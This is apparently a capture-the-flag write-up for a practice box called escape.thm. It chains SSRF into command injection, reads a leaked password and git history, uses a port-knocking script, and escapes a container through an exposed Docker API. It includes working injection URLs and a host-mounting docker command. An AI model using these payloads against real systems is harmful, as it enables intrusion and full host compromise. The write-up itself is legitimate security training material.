Our devs have created an awesome new site. Can you break out of the sandbox?
Enumeration
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 60
80/tcp open http syn-ack ttl 60
We have a couple ports, our first flag is for the web-app so let’s start there:
We see there’s a login, signup and admin page that we may need to use. We also have courses though this requires a login.
Root flag
Our initial hint is to look for common files. This is likely referring to robots.txt
, let’s try it:
User-agent: *
Allow: /
Disallow: /api/
# Disallow: /exif-util
Disallow: /*.bak.txt$
We have /api which returns Nothing to see here, move along...
and exif-util which looks more interesting:
We have two potential vulns here. We can attempt SSRF against some common ports and see if there’s any other services running locally:
This looks a lot like the /api response. We can capture our request and see that this does actually go to an endpoint in /api:
This is a bit of a deadend so let’s take a step back and look at robots.txt, we also have the .bak.txt
entry. There’s a backup file called exif-util.bak.txt which we can read:
<template>
<section>
<div class="container">
<h1 class="title">Exif Utils</h1>
<section>
<form @submit.prevent="submitUrl" name="submitUrl">
<b-field grouped label="Enter a URL to an image">
<b-input
placeholder="http://..."
expanded
v-model="url"
></b-input>
<b-button native-type="submit" type="is-dark">
Submit
</b-button>
</b-field>
</form>
</section>
<section v-if="hasResponse">
<pre>
{{ response }}
</pre>
</section>
</div>
</section>
</template>
<script>
export default {
name: 'Exif Util',
auth: false,
data() {
return {
hasResponse: false,
response: '',
url: '',
}
},
methods: {
async submitUrl() {
this.hasResponse = false
console.log('Submitted URL')
try {
const response = await this.$axios.$get('http://api-dev-backup:8080/exif', {
params: {
url: this.url,
},
})
this.hasResponse = true
this.response = response
} catch (err) {
console.log(err)
this.$buefy.notification.open({
duration: 4000,
message: 'Something bad happened, please verify that the URL is valid',
type: 'is-danger',
position: 'is-top',
hasIcon: true,
})
}
},
},
}
</script>
We see the hostname of the machine that runs the website on port 8080. It has an exif API too that we can try:
http://escape.thm/api/exif?url=http://api-dev-backup:8080/exif?url=/etc/passwd
There’s some filter in place that stops this. Let’s try RCE instead:
http://escape.thm/api/exif?url=http://api-dev-backup:8080/exif?url=echo+abc;ls+-la
We can’t get a shell this way but we are root so let’s try enumerating root’s home dir:
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
total 28
drwx------ 1 root root 4096 Jan 7 2021 .
drwxr-xr-x 1 root root 4096 Jan 7 2021 ..
lrwxrwxrwx 1 root root 9 Jan 6 2021 .bash_history -> /dev/null
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
drwxr-xr-x 1 root root 4096 Jan 7 2021 .git
-rw-r--r-- 1 root root 53 Jan 6 2021 .gitconfig
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-rw-r-- 1 root root 201 Jan 7 2021 dev-note.txt
We have a git file and some notes. The dev-note file contains a password:
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
Hey guys,
Apparently leaving the flag and docker access on the server is a bad idea, or so the security guys tell me. I've deleted the stuff.
Anyways, the password is fluffybunnies123
Cheers,
Hydra
We can explore the git file in root’s home directory. Using git log
we can retrieve the hashes for all the commits and sift through them manually. The interesting commit was
git --git-dir /root/.git diff a3d30a7d0510dc6565ff9316e3fb84434916dee8
This contains our first root flag.
The great escape (root #2).
We’re unable to get a shell using what we have but we do know that our target is running docker. We have reference to port knocking in one of the notes so let’s try it:
#!/bin/sh
TARGET="escape.thm"
PORTS="42 1337 10420 6969 63000"
echo "$PORTS" | tr ' ' '\n' | while read -r i
do
echo "knocking $i"
nc $TARGET $i
sleep 1
done
Docker is now available to us on it’s default port. We can try listing the images to ensure this worked:
We see a few images available. We can simply mount the entire file system into a container and get our root flag:
docker -H escape.thm run -v /:/mnt --rm -it alpine:3.9 chroot /mnt sh
Web flag
I haven’t forgotten about this but I had zero clue how to get this at first but now that we have access to all the containers. Let’s try find it. We already know that nginx is running the initial website. We can assume this is the “frontend” container:
docker -H escape.thm exec -it dockerescapecompose_frontend_1 /bin/bash
Let’s start looking around:
We find the “well-known” directory the hint was referring to and a text file. If we read the text file, we get the path to the web flag.
We need to send a head request in order to actually get it, wee can do that with curl:
curl --head http://escape.thm/api/fl46